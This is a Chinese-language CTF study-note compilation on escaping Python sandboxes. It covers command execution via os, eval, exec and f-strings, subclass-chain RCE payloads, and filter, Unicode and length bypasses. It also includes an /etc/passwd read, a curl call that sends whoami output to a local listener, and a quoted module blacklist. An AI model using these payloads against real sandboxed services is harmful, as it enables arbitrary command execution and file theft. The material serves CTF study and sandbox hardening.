
Python 沙箱逃逸方式及绕过方法整理

概述及原理
沙箱是一种安全机制,用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。
在Python中,沙箱的实现可以用多种方式,例如使用python内置功能(如re模块),使用特殊的python解释器(如PyPy),或使用第三方库(如RestrictedPython)。
但Python的标准库和语言特性提供了许多可以用于逃逸沙箱的方法,因此在实践中创建一个完全安全的Python沙箱是十分困难的。
简单来说,python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。(有点类似于SQL注入,执行本不该被执行的命令)
[!NOTE]
查看目标主机是否是docker相关命令:
cat /proc/self/cgroup
mount -v
任意命令执行
函数和模块:
import函数:
1
__import__('os').system('dir')
OS模块:
1
2
3
4
5import os
os.system("/bin/sh")
os.popen("/bin/sh")利用方式:
1
2
3
4import os
"/bin/sh") os.system(
$ cat /flag
flag{xxxxxxxxxxx}exec & eval函数:
两个执行函数:
1
2
3eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')利用方式:
1
2
3eval('__import__("os").system("/bin/sh")')
$ cat /flag
flag{xxxxxxxxxxx}execfile函数:
这个函数主要用来执行特定文件,引入模块来执行命令(注意:该函数在python3中已经被删除)
1
2import timeit
timeit.timeit('__import__("os").system("dir")',number=1)利用方式:
1
2
3
4import timeit
'__import__("os").system("sh")',number=1) timeit.timeit(
$ cat /flag
flag{xxxxxxxxxxx}platform模块:
platform模块提供了很多方法去获取操作系统的信息,
popen
函数就可以执行命令1
2import platform
print platform.popen('dir').read()利用方式:
1
2
3import platform
print platform.popen('dir').read()
jail.pycommands模块:
可以执行命令,但不一定能拿到shell。(注意:该函数在python3中已经被删除)
1
2
3import commands
print commands.getoutput("dir")
print commands.getstatusoutput("dir")利用方式:
1
2
3
4
5
6import commands
print commands.getoutput("dir")
flag jail.py
print commands.getstatusoutput("dir")
(0, 'flag jail.py')subprocess模块:
shell=True
命令本身被bash启动,支持shell启动,否则不支持1
2import subprocess
subprocess.call(['ls'],shell=True)利用方式:
1
2
3import subprocess
'ls'],shell=True) subprocess.call([
flag jail.pycompile函数:
compile()
函数将一个字符串编译为字节代码。1
2
3
4
5
6
7
8
9
10
11compile(source, filename, mode[, flags[, dont_inherit]])
source -- 字符串或者AST(Abstract Syntax Trees)对象。
filename -- 代码文件名称,如果不是从文件读取代码则传递一些可辨认的值。
mode -- 指定编译代码的种类。可以指定为 exec, eval, single。
flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。
flags和dont_inherit是用来控制编译源码时的标志使用样例:
1
2
3
4
5
6
7
8
9command_str = '__import__("os").system("cmd /c calc.exe")'
c_str = compile(command_str,"","exec")
print(c_str)
exec(c_str)
<code object <module> at 0x000001CC620A1D20, file "", line 1>
弹出计算器f修饰符
python3.6新特性,用f/F修饰的字符串可以执行代码
1
f'{__import__("os").system("ls")}'
sys模块
sys模块可用于在python内部查看python的版本号,方便了解不同版本的特性,使用不同的逃逸方法
1
2
3
4import sys
print sys.version
2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609]
文件操作
file函数(注意:该函数在新版python中已不再支持)
1
file('flag.txt').read()
open函数:
1
open('flag.txt').read()
codecs模块
1
2import codecs
codecs.open('flag.txt').read()Filetype 函数 from types 模块(注意:该函数在python3中已不再支持)
该模块可以用于读取文件
1
2import types
print types.FileType("flag").read()利用方式:
1
2
3import types
print types.FileType("flag").read()
flag_here
上述方法相关绕过检查方式
import/os
方式引入import函数
import函数本身用于动态引入模块,比如
import module
(注意:直接对字符串进行
decode
并用rot_13
编码是python2的操作,python3已经不支持直接对字符串decode)1
2a = __import__("bf".decode('rot_13')) //os
a.system('sh')importlib库
1
2
3import importlib
a = importlib.import_module("bf".decode('rot_13')) //os
a.system('sh')builtins函数
这个是python内置函数库,其中又包含了许多函数,该库自动引入,不需要单独引入,可以利用这一点寻找没有被禁用的函数。
先查看
builtins
函数库内置函数:1
2
3print(dir(__builtins__))
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']热知识:一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,例如,
m.x
等同于m.dict[“x”]
,我们就可以用一些编码来绕过字符明文检测。基于此,就可以利用:
(注意:直接对字符串进行
decode
并用rot_13
编码是python2的操作,python3已经不支持直接对字符串decode)1
2
3
4
5__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')
等同于
__builtins__.__dict__[_import__]('os').system('sh')路径引入os等模块
一般都是禁止引入敏感包,当禁用os时,实际上就是
sys.modules[‘os’]=None
但一般的类linux系统的python os路径都是
/usr/lib/python2.7/os.py
,所以可以通过路径引入1
2
3
4
5
6
7
8
9import sys
sys.modules['os']='/usr/lib/python2.7/os.py'
python3引入
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')reload
禁止引用某些函数时,可能会删除掉一些函数的引用,比如:
1
del __builtins__.__dict__['__import__']
这样便无法引入,但可以使用
reload(builtins)
重载builtins来恢复内置函数1
2
3import __builtins__
import imp
imp.reload(__builtin__)不过reload本身也是builtins库函数的之一,其本身也可能会被禁用
函数名字符串扫描过滤的绕过
假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作
便可以考虑使用
getattr
、__getattribute__
1
2
3
4
5
6
7
8getattr(__import__("os"),"flfgrz".encode("rot13"))('ls')
getattr(__import__("os"),"metsys"[::-1])('ls')
__import__("os").__getattribute__("metsys"[::-1])('ls')
__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')
绕过删除模块或方法:
在某些沙箱中,可能会对某些模块或方法使用
del
关键字进行删除。 例如删除 builtins 模块的 eval 方法。以下是一个删除示例操作:
1
2
3
4
5
6
7'eval'] __builtins__.__dict__[
<built-in function eval>
del __builtins__.__dict__['eval']
'eval'] __builtins__.__dict__[
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'这里可以看到,第二次查看builtins库函数内时,已经没有eval函数了
reload
正如上文提到的,使用reload函数可以重载模块
1
2
3
4
5
6
7
8
9
10
11'eval'] __builtins__.__dict__[
<built-in function eval>
del __builtins__.__dict__['eval']
'eval'] __builtins__.__dict__[
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
reload(__builtins__)
<module '__builtin__' (built-in)>
'eval'] __builtins__.__dict__[
<built-in function eval>在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。
恢复 sys.modules
一些过滤中可能将
sys.modules['os']
进行修改,这个时候即使将 os 模块导入进来,也是无法使用的。例如:
1
2
3
4
5>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'这里直接篡改了
sys.modules['os']
返回的结果,但这样做会导致其他使用了OS的函数受到影响。当遇到上述情况的时候,可以直接将os模块删除,触发import导入模块时的自动检查机制,若检查发现没有这个模块,便会重新加载
1
2
3
4
5sys.modules['os'] = 'not allowed'
del sys.modules['os']
import os
os.system('ls')使用继承来获取
若清空了
__builtins__
,我们也可以通过subclasses
来找到它的内部函数。1
2
3# 根据环境找到 bytes 的索引,此处为 5
5] ().__class__.__base__.__subclasses__()[
<class 'bytes'>(PS:感觉这个比较复杂,没看太懂)
object命令引入执行
object
类种也集成了许多函数,可以拿来调用字符串对象
1
2().__class__.__bases__
(<type 'object'>,)通过bases方法可以获取到上一层继承关系
1
20] ().__class__.__bases__[
(<type 'object'>,)通过mro方法获取继承关系
创建object对象方法:
1
2
3
4
5
6"".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
"".__class__.__mro__[2]
<type 'object'>在获取之后,返回的是一个元组,通过下标+subclasses的方法可以获取所有子类的列表。而
subclasses()
第40个是file类型的object。(适用于python2)1
2
3
4
50].__subclasses__()[40] ().__class__.__bases__[
<type 'file'>
"".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>获得对象后,便可以操作对象读写文件或者执行命令:(以下代码仅适用于python2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19读文件:
().__class__.__bases__[0].__subclasses__()[40]("jail.py").read()
"".__class__.__mro__[2].__subclasses__()[40]("jail.py").read()
同时写文件或执行任意命令:
().__class__.__bases__[0].__subclasses__()[40]("jail.py","w").write("1111")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("jail.py").read()' )
可以执行命令寻找subclasses下引入过os模块的模块
76].__init__.__globals__['os'] [].__class__.__base__.__subclasses__()[
<module 'os' from '/usr/lib/python2.7/os.pyc'>
71].__init__.__globals__['os'] [].__class__.__base__.__subclasses__()[
<module 'os' from '/usr/lib/python2.7/os.pyc'>
"".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
字符串被过滤的绕过:
字符串拼接
例如过滤了关键字os,则:
1
2
3
4
5a = 'o'
b = 's'
__import__(a+b).system('ls')
__import__('so'[::-1]).system('ls')base64转换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18python2方式:
import base64
'__import__') base64.b64encode(
'X19pbXBvcnRfXw=='
'os') base64.b64encode(
'b3M='
'X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls') __builtins__.__dict__[
app.py jail.py
python3方式:
import base64
print(base64.b64encode('__import__'.encode('utf-8')))
print(base64.b64encode('os'.encode('utf-8')))
__builtins__.__dict__[base64.b64decode('X19pbXBvcnRfXw==').decode('utf-8')](base64.b64decode('b3M=').decode('utf-8')).system('dir')逆序:
也可以看作使用
eval
和exec
函数:1
2
3
4
5eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
root
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
root进制转换:
八进制:
1
2
3
4
5
6
7
8
9
10
11
12exec("__import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
# 生成代码如下:
str1 = "__import__('os').system('ls')"
code ="\\"
# 将字符串编码为字节,然后将每个字节转换为八进制表示
for i in str1.encode('utf-8'):
code += f'{i:o}'+ "\\"
code = code.rstrip('\\')
print(code)十六进制:
1
2
3
4
5
6
7
8
9
10exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
# 十六进生成代码如下:
str2 = "__import__('os').system('dir')"
code2 ="\\"
# 将字符串编码为字节,然后将每个字节转换为十六进制表示
for j in str2.encode('utf-8'):
code2 += f'x{j:x}'+ "\\"
code2 = code2.rstrip('\\')
print(code2)类似的其他编码转换
如rot13,base32等等
特殊字符过滤绕过:
[]
过滤:若
[]
被过滤,可以使用:- 调用
__getitem__()
函数直接进行替换 - 调用
pop()
函数(该函数可以移除列表中的最后一个元素,并返回该元素内容)替换:
样例:
1
2
3
4
5
6
7
8
9
10''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')
# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')
getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')- 调用
''
过滤:str
函数:当引号被过滤时,也就说明构造字符串受到影响,这时便可以使用str函数逐字取,直到取到想要的字符串
1
2
3
4
5
6
7
8
9().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
str(().__class__.__new__)[21]
'w'
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'chr
函数也可以用chr函数配合ASCII码来构造字符串
1
2
3
4
5
6
7chr(56)
'8'
chr(100)
'd'
chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'list
+dict
函数组合使用使用这两个函数把变量名转换为字符串,但这种方式不能用于字符串中间存在空格
1
2
3print(list(dict(whoami=1)))
whoami__doc__
函数__doc__
函数可以获取到类的说明信息,然后就可以从其中取字符组成我们想要的字符串1
2
3
4
5
6's') ().__doc__.find(
19
'y') ().__doc__.find(
86
19]+().__doc__[86]+().__doc__[19] ().__doc__[
'sys'bytes
函数bytes函数可以接收一个ascii列表,然后转为字节流,最后进行decode就可以还原为字符串
1
2bytes([115, 121, 115, 116, 101, 109]).decode()
'system'
+
过滤:过滤
+
主要影响字符串的拼接,若在此基础上还同时过滤了引号,构造字符串便可以使用join
函数,配合上面的__doc__
寻找所需的字符,最终拼接成命令1
2str().join([().__doc__[19],().__doc__[86],().__doc__[19]])
'sys'数字过滤:
若过滤了特定数字,可以使用某些函数的返回值来获取
例如:
0:
int(bool([]))
,Flase
,len([])
1:
int(bool([""]))
、True
、int(list(list(dict(a၁=())).pop()).pop())
有了0/1后,其他数字便可以通过运算获取:
1
2
3
4
50 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4此外,也可以通过
repr
函数直接获取一些比较长的字符串,然后再用len
函数获取长度值,取得较大的数字:1
2
3
4len(repr(True))
4
len(repr(bytearray))
19若不能出现运算符,还可以使用
len + dict + list
组合方式构造:1
2
3
40 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])还可以使用unicode绕过(后续介绍)
过滤空格
可以用
[]
,()
来替换过滤运算符
==
可以用in
替换or
可以用+
,-
,|
替换例如:
1
2
3
4
5
6for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)and
可以用&
、*
替代1
2
3
4
5for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)()
过滤:- 使用装饰器@
- 使用魔术方法:
enum.EnumMeta.__getitem__
f字符串执行:
python3.6新特性,用f/F修饰的字符串可以执行代码
1
f'{__import__("os").system("ls")}'
内建函数过滤:
eval + list + dict
构造:当我们在构造payload的时候,若需要使用一些例如str函数,bool函数等等函数,但又被禁用的时候,则可以利用
eval()
函数,向其传递同名字符串,便可以被执行1
2
3
4
5
6
7eval('str')
<class 'str'>
eval('bool')
<class 'bool'>
eval('st'+'r')
<class 'str'>这样可以将函数名转化为字符串,进而可以利用字符串的变换来进行绕过。
1
2
3eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>这样操作,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。
.
和,
过滤:通常情况下,我们会通过点号来进行调用
__import__('binascii').a2b_base64
或者通过 getattr 函数:
getattr(__import__('binascii'),'a2b_base64')
但碰到这种过滤时,可以使用以下方式绕过:
内建函数可以使用
eval(list(dict(s_t_r=1))[0][::2])
这样的方式获取。模块内的函数可以先使用
__import__
导入函数,然后使用 vars() j进行获取:1
2
3vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>
Unicode绕过:
Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
样例:
1
2
3eval == 𝘦val
True相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符
大佬的相似Unicode枚举脚本:
1
2
3
4
5
6
7
8
9
10for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass一些相似Unicode样例:
0-9,a-z 的 unicode 字符:
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡
下划线可以使用对应的全角字符进行替换:
_
但使用时注意第一个字符不能为全角,否则会报错
需要注意的是,某些 unicode 在遇到 lower() 函数时也会发生变换,因此碰到 lower()、upper() 这样的函数时要格外注意。
绕过命名空间限制
- 部分限制
有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。下面的例子来源于
iscc_2016_pycalc
。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)
def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
...
exec command in _global # do calculate in a sandboxed
...- 沙箱首先获取
__builtins__
,然后根据现有的__builtins__
来构建命名空间 - 接着修改
__import__
函数为自定义的_hook_import_
,并对引入函数进行检查,在黑名单里的不允许调用 - 删除open函数防止文件调用
- exec命令执行
绕过方式:
因为
exec
是运行在特定的命令空间里,可以通过获取其他命名空间的__builtins__
(此时的函数保存的内容就是原始未修改的),例如bytes库:1
21 2 __import__('types').__builtins__ __import__('string').__builtins__
全限制
若沙箱完全清空了所有
__builtins__
函数库内的函数,这样便无法使用import导入了,例如下面的样例所示1
2
3
4
5
6
7
8
9
10
11
12
13
14
15eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
eval("__import__")
<built-in function __import__>
exec("import os")
exec("import os",{"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ImportError: __import__ not found针对这种情况,就需要使用
python继承
方式来说绕过,通过继承链获取到内置类,然后在用内置类来执行一些敏感的方法进行调用常见的RCE Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')
# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]
# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())
# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()常见的file payload:
1
2
3
4# 操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")
绕过多行限制:
多行绕过主要集中在限制了单行代码的情况下,或者换行会报错:
1
2
3
4
5
6eval("__import__('os');print(1)")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
__import__('os');print(1)exec
该函数支持换行符和
;
:1
2eval("exec('__import__(\"os\")\\nprint(1)')")
1compile
compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码
1
2eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
海象表达式:
海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。
海象表达式的语法形式如下:
1
<expression> := <value> if <condition> else <value>
借此特性,我们可以通过列表来代替多行代码:
1
2
3
4eval('[a:=__import__("os"),b:=a.system("id")]')
uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[<module 'os' (frozen)>, 0]
[!NOTE]
这部分本人也没看太明白,目前这方面的题也几乎没有接触,先把大佬的文章搬过来,以后若碰到了,再仔细观摩学习
绕过长度限制:
在下面这道题中,对 payload 的长度作了限制
1
2eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取
1
2print(open(bytes([102,108,97,103,46,116,120,116])).read())
函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减
1
2
3
4
5
6
7
8
9
10# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')
print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())但这样的话其实长度超出了限制,而题目的 eval 表示不支持分号
;
这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的
a('ō')
进行替换。这样就可以构造一个满足条件的 payload1
2exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")
但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)
当然,可以直接使用 input 函数来绕过长度限制。
打开 input 输入
如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。
以 BYUCTF2023 jail a-z0-9 为例:
1
2eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)
1
2𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())
这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。
1
2__import__('os').system('whoami')
打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。
下面是一些打开输入流的方式:
sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入
1
2
3
4
5
6eval(sys.stdin.read())
__import__('os').system('whoami')
root
0
>>>sys.stdin.readline()
1
2
3eval(sys.stdin.readline())
__import__('os').system('whoami')sys.stdin.readlines()
1
2
3eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
breakpoint 函数
